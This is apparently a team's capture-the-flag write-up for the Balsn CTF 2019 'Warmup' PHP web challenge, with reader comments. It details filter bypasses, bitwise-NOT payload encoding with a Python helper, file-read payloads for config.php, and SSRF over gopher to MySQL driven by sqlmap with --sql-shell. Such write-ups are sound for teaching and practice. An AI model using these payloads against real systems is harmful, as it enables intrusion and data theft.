Balsn CTF 2019 - Web - Warmup

Points: 857/ 1000
Tags: web

Our Vietnamese team *pwnPHOfun* managed to solve the challenge in time and I can't do this without many helping hands from @ducnh, @vinhjaxt, @0xd0ff9, ...

At first, we de-obfuscated the given source-code.
From this

There are 3 main branches.

  1.     $ch = curl_init();
  2.     @curl_setopt($ch, CURLOPT_URL, str_replace("int", ":DD", str_replace("%69%6e%74", "XDDD", str_replace("%2e%2e", "Q___Q", str_replace("..", "QAQ", str_replace("%33%33%61", ">__<", str_replace("%63%3a", "WTF", str_replace("633a", ":)", str_replace("433a", ":(", str_replace("\x63:", "ggininder", strtolower(eval("return $_;"))))))))))));
  3.     @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  4.     @curl_setopt($ch, CURLOPT_TIMEOUT, 1);
  5.     @curl_EXEC($ch);
  1.      print_r(substr(@file_get_contents($_), 0, 155));

And the last one is a joke, because after die, function system, in this case, wouldn't execute, except special case where __destruct was found. So we can ignore this without any hurt.

  1.     die($secret);
  2.     system($_GET[0x9487945]);
My teammate summaries these blocks into:
1. RCE (eval at line 2) and SSRF (curl and gopher/dict protocol)
2. Remote file download (file_get_contents) and SSRF
3. J/K

Before we can reach these functions, there are some filters and blacklists to bypass.
So we have:
  1. if (($op = @$_GET['op']) && (@strlen($op) < 3 && @($op + 8) < 'A_A')) {
To bypass this, we used ?op=-9, because (@($op + 8)) is now -1, and it lower than 0 ('A_A' casted to int)
  if (($_ = @$_GET['Σ>―(#°ω°#)♡→'])   && (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_) || @strlen(count_chars(strtolower($_), 3)) > 13 || @strlen($_) > 19)) {
$_ is from parameter (no utf-8 encoded) %CE%A3%3E%E2%80%95(%23%C2%B0%CF%89%C2%B0%23)%E2%99%A1%E2%86%92
We need value of $_ meet conditions: not match this regex (checkout regex101 to find out what is invalid), constructed from no more than 13 difference characters, length not exceed 19.

We used the "not" "~" operator, which was discussed in [1], [2], [4] about weird PHP behavior.
  1. if (@strlen($op) < 4 && @($op + 78) < 'A__A') {
  2.     if (($_ = @$_GET['⁣']) && (
  3.       (strtolower(substr($_, -4)) === '.php')
  4.       || (strtolower(substr($_, -4)) === 'php.')
  5.       || (stripos($_, "\"") !== FALSE)
  6.       || (stripos($_, "\x3e") !== FALSE)
  7.       || (stripos($_, "\x3c") !== FALSE)
  8.       || (stripos(strtolower($_), "amp") !== FALSE))) 

At line 1, same as above bypass, we use ?op=-79
At line 2, what looks like empty key for $_GET, but actually it is U+2063 INVISIBLE SEPARATOR. Quick check with Chrome Devtool
 Line 3, 4, 5, 6, 7,8: we can't bypass this, all of them is strict compare (===), so what did they do?
As we can read file with file_get_contents, but only if it not ending with ".php" or "php.", or include invalid character quote ", lower than <, greater than > which is referenced as famous bypass for LFI in Windows environment. Checkout ONsec's paper [3].
But we was unable to abuse anything from this, except the trick from ONsec. Turned out I was wrong, there are 2 new things I learned from CTF's Discord discussion forum
- file_get_contents space endings: ?op=-99&%E2%81%A3=config.php%20
- php filter if you want to read more: php://filter/read=zlib.deflate/resource=config.php+

That is the 2nd branch.
Since we can't go further from this branch so we go back to the first one.

In this block, $_ got filtered
4. String replace from $_
str_replace("int", ":DD", 
str_replace("%69%6e%74", "XDDD", 
str_replace("%2e%2e", "Q___Q", 
str_replace("..", "QAQ", 
str_replace("%33%33%61", ">__<", 
str_replace("%63%3a", "WTF", 
str_replace("633a", ":)", 
str_replace("433a", ":(", 
str_replace("\x63:", "ggininder"

So our payload shouldn't contain "int", "..", "c:", "33a", ... in many encoding.
then eval("return $_;") will actually is eval("return " + $_ + ";"), thanks PHP again, only in double quote mode, called Variable variables [5]

Combine with the "~" operator, to show phpinfo we used this

Combine with the the idea about "<<" for reading file, we used the following payload:

which is readfile("c<<") as we want to read the config.php, lucky for us, there is only config.php start with the "c" character in its name.
To automated the task we developed snippet in python
  1.     def n(s):
  2.         r = ""
  3.         for i in s:
  4.             r += chr(~(ord(i)) & 0xFF)
  5.         r = "~{}".format(r)
  6.         return r
The readfile payload (in python) is "({})({})".format(n("readfile"), n("c<<"))
After encode it %28%7E%8D%9A%9E%9B%99%96%93%9A%29%28%7E%9C%C3%C3%29

// hint:flag-is-in-the-database XDDDDDDD
Hah, I know it, this is why we have curl with SSRF potential.
In the second day of the CTF, I came back with 1st day idea, blind SQL injection over SSRF.
What I need is in the config.php already:
[x] mysql user "admin" without password
[x] curl with gopher protocol
[  ] gopher url exceed 19 char limit.

A new bypass for this... How do I pass my gopher URL into the return value of "eval" with the limit of 19 chars.
I had search through many functions of PHP, e.g: extract, getenv... and getenv is enough.
Next the payload will be: t = '(' + n('getenv') + ')(' +n('HTTP_X') + ')'
And GET it over request like this
  1.         r = requests.post(url=url, params = {
  2.             'op' : '-9',
  3.             'Σ>―(#°ω°#)♡→' : t
  4.             },
  5.             headers = {"X": x}
  6.             )
Knowing the fact that there is a tool called Gopherus [7] for SSRF challenge, I don't have to monitor Wireshark, parse that, write a new one. Just re-use the tool, don't invent the wheel, they said.
Then I was like, want me to blind this? Hell no. Just use the SQLmap.
I don't know if SQLmap can do boolean-based sql injection without sleep injected in query, so I make the middleware proxy with Python-Flask act as it vulnerable to time-based SQLi.

Then run the single command to get flag:
python sqlmap.py -u "http://localhost:5000/?username=*" --technique=T --dbms=mysql --dbs  --level 1  --thread=1 --sql-shell
Then it fail when I tried to show table inside "thisisthedbname"

Thanks to the DEFCON CTF Qual "return-to-shellql", I already known where the bug lie, compare this MySQL Packet [8] vs this [9]


int<3>payload_lengthLength of the payload. The number of bytes in the packet beyond the initial 4 bytes that make up the packet header.
int<1>sequence_idSequence ID
string<var>payload[len=payload_length] payload of the packet
It is 3 bytes for packet length, not 1 as s byte as seen in Gopherus MySQL client.

So longgggggg

**Our remake script: https://pastebin.com/x8gxTAQx

But but, did I forgot something about Windows?
Another great chall, thank Balsn team.


  1. Hey, I have three doubts:
    1. SLEEP is not working because, in config.php the time limit is set? so it can't sleep for more than 1 seconds.

    2. You modified the Gopherus MySQL file because there the max length of payload can be 0xff, and you wanted it make more large input?
    I made maximum input of payload to 0xff because I thought normally we don't use this much of lengthy input ;).

    3. Can you provide the actual SQL payload which you used to get the flag?

    1. Hi, thanks for your concerns
      1. I put extra time.sleep(4) based on condition timeout= on request. My local server work correct for timeout 0.5s, but remote is more than 1.5. So if SSRF success (SLEEP is triggered) then php script will wait 1s, normally php script will return result immediately (0.2s or less).
      My assumption is sqlmap only detect time based sql with an hardcoded value, there is an option for it is --time-sec but I don't understand it correctly
      2. Yes, your tool (?) is good overall. I only modified it because my payload is blind and I depend on sqlmap --sql-shell to execute subquery so the payload length > 255
      3. That is the only script I used, as I explained before, the server "time to response" is difference from local, so I increase timeout to 1.5s. The rest is sqlmap works. later, I put --sql-shell after it show all database;

      Btw, your content & blog is good. I also played InCTF :< That damn hard & beauty challenges :P

    2. Thanks for the reply.
      As you suggested, the input can be long than 0xff, I have changed that in Gopherus.

      Yeah, normally PHP scripts return result immediately, but the server takes time to respond.(I guess that was the problem in my case).

      Thanks for playing InCTF, I will be posting the writeup soon. couldn't write the writeup before because of academics and all :P